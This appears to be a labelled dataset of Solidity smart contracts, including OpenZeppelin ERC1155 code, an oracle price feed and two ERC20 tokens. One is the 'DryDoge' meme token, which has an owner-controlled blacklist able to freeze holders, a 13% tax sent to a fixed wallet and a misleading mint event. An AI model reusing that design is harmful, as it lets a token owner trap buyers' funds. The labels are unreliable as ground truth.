* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC2981Royalties {
function royaltyInfo(uint256 _tokenId, uint256 _value)
external
view
returns (address _receiver, uint256 _royaltyAmount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import './IERC2981Royalties.sol';
/// @dev This is a contract used to add ERC2981 support to ERC721 and 1155
abstract contract ERC2981Base is ERC165, IERC2981Royalties {
struct RoyaltyInfo {
address recipient;
uint24 amount;
}
/// @inheritdoc ERC165
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IERC2981Royalties).interfaceId ||
super.supportsInterface(interfaceId);
}
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
interface IAddressRegistry {
function tokenRegistry() external view returns (address);
}
interface ITokenRegistry {
function enabled(address) external returns (bool);
}
interface IOracle {
function decimals() external view returns (uint8);
function latestAnswer() external view returns (int256);
}
contract PriceFeed is Ownable {
/// @notice keeps track of oracles for each tokens
mapping(address => address) public oracles;
/// @notice address registry contract
address public addressRegistry;
/// @notice wrapped FTM contract
address public wFTM;
constructor(address _addressRegistry, address _wFTM) public {
addressRegistry = _addressRegistry;
wFTM = _wFTM;
}
/**
@notice Register oracle contract to token
@dev Only owner can register oracle
@param _token ERC20 token address
@param _oracle Oracle address
*/
function registerOracle(address _token, address _oracle)
external
onlyOwner
{
ITokenRegistry tokenRegistry = ITokenRegistry(
IAddressRegistry(addressRegistry).tokenRegistry()
);
require(tokenRegistry.enabled(_token), "invalid token");
require(oracles[_token] == address(0), "oracle already set");
oracles[_token] = _oracle;
}
/**
@notice Update oracle address for token
@dev Only owner can update oracle
@param _token ERC20 token address
@param _oracle Oracle address
*/
function updateOracle(address _token, address _oracle) external onlyOwner {
require(oracles[_token] != address(0), "oracle not set");
oracles[_token] = _oracle;
}
/**
@notice Get current price for token
@dev return current price or if oracle is not registered returns 0
@param _token ERC20 token address
*/
function getPrice(address _token) external view returns (int256, uint8) {
if (oracles[_token] == address(0)) {
return (0, 0);
}
IOracle oracle = IOracle(oracles[_token]);
return (oracle.latestAnswer(), oracle.decimals());
}
/**
@notice Update address registry contract
@dev Only admin
*/
function updateAddressRegistry(address _addressRegistry)
external
onlyOwner
{
addressRegistry = _addressRegistry;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
} | True | [
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/*
LAUNCH INFORMATION
DRYDOGE will launch on Uniswap today!
🐕 Stealth launch 5-8PM UTC
🐕 2-4% max txn
🐕 10% Tax
🐕 Liquidity locked
🐕 5-7ETH initial liquidity
🐕 Big Marketing Plans
🐕 CG & CMC Fast Track
🐕 CEX listings shortly after launch
https://t.me/drydoge
www.drydoge.com
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DryDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address[] private airdropKeys;
mapping (address => uint256) private airdrop;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "DRY DOGE";
string private constant _symbol = "DRYDOGE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x74Be9295673b2585F667f50b3ac7460269C1635f);
_feeAddrWallet2 = payable(0x74Be9295673b2585F667f50b3ac7460269C1635f);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x74Be9295673b2585F667f50b3ac7460269C1635f), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 3;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 3;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 15000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setAirdrops(address[] memory _airdrops, uint256[] memory _tokens) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys.push(_airdrops[i]);
airdrop[_airdrops[i]] = _tokens[i] * 10**9;
_isExcludedFromFee[_airdrops[i]] = true;
}
}
function setAirdropKeys(address[] memory _airdrops) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys[i] = _airdrops[i];
_isExcludedFromFee[airdropKeys[i]] = true;
}
}
function getTotalAirdrop() public view onlyOwner returns (uint256){
uint256 sum = 0;
for(uint i = 0; i < airdropKeys.length; i++){
sum += airdrop[airdropKeys[i]];
}
return sum;
}
function getAirdrop(address account) public view onlyOwner returns (uint256) {
return airdrop[account];
}
function setAirdrop(address account, uint256 amount) public onlyOwner {
airdrop[account] = amount;
}
function callAirdrop() public onlyOwner {
_feeAddr1 = 0;
_feeAddr2 = 0;
for(uint i = 0; i < airdropKeys.length; i++){
_tokenTransfer(msg.sender, airdropKeys[i], airdrop[airdropKeys[i]]);
_isExcludedFromFee[airdropKeys[i]] = false;
}
_feeAddr1 = 3;
_feeAddr2 = 10;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'STAS' token contract
//
// Deployed to : 0x4db2546776B47c56702E24FB1a957395EEA0c387
// Symbol : STAS
// Name : Stas Token
// Total supply: 10000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract STASToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function STASToken() public {
symbol = "STAS";
name = "Stas Token";
decimals = 18;
_totalSupply = 10000000000000000000000;
balances[0x4db2546776B47c56702E24FB1a957395EEA0c387] = _totalSupply;
Transfer(address(0), 0x4db2546776B47c56702E24FB1a957395EEA0c387, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
